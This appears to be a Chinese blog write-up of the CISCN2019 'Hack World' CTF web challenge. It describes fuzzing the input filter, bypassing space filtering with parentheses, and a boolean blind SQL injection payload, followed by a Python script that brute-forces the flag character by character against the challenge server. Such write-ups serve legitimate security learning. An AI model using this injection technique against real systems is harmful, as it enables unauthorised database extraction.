[CISCN2019 华北赛区 Day2 Web1]Hack World 1 盲注
页面打开如上
获取到信息 flag在flag表中的flag列中
尝试注入
发现对用户的输入进行了限制
使用burp进行fuzz测试
其中535代表该页面对该条件进行了过滤
其中括号并没有被过滤 所以可以利用括号来代替空格
进行盲注 已知f的ascii码为102
构筑等式 (select(ascii(mid(flag,1,1))==102)from(flag))来判断该字符是什么 如果字符为ascii(102)也就是字符f 返回页面为
其中mid函数来标识flag列中从1开始步长为1的元素如果与102匹配就返回值1
至此我们可以写一个脚本来实现爆破
def sqlinjection():
url='http://053354a0-0d05-4f36-bf56-58ee332c1e42.node5.buuoj.cn:81/'
# header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0'}
str=string.printable
for i in range(60):
for j in str:
data={
'id':f'(select(ascii(mid(flag,{i},1))={ord(j)})from(flag))'
}
time.sleep(1)
recv=requests.post(url=url,data=data).text
if 'Hello'in recv:
print(j,end='')
string.printable函数将返回所有可打印的值 再通过ord函数转化为10进制进行比较 一个字母一个字母的进行爆破
得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现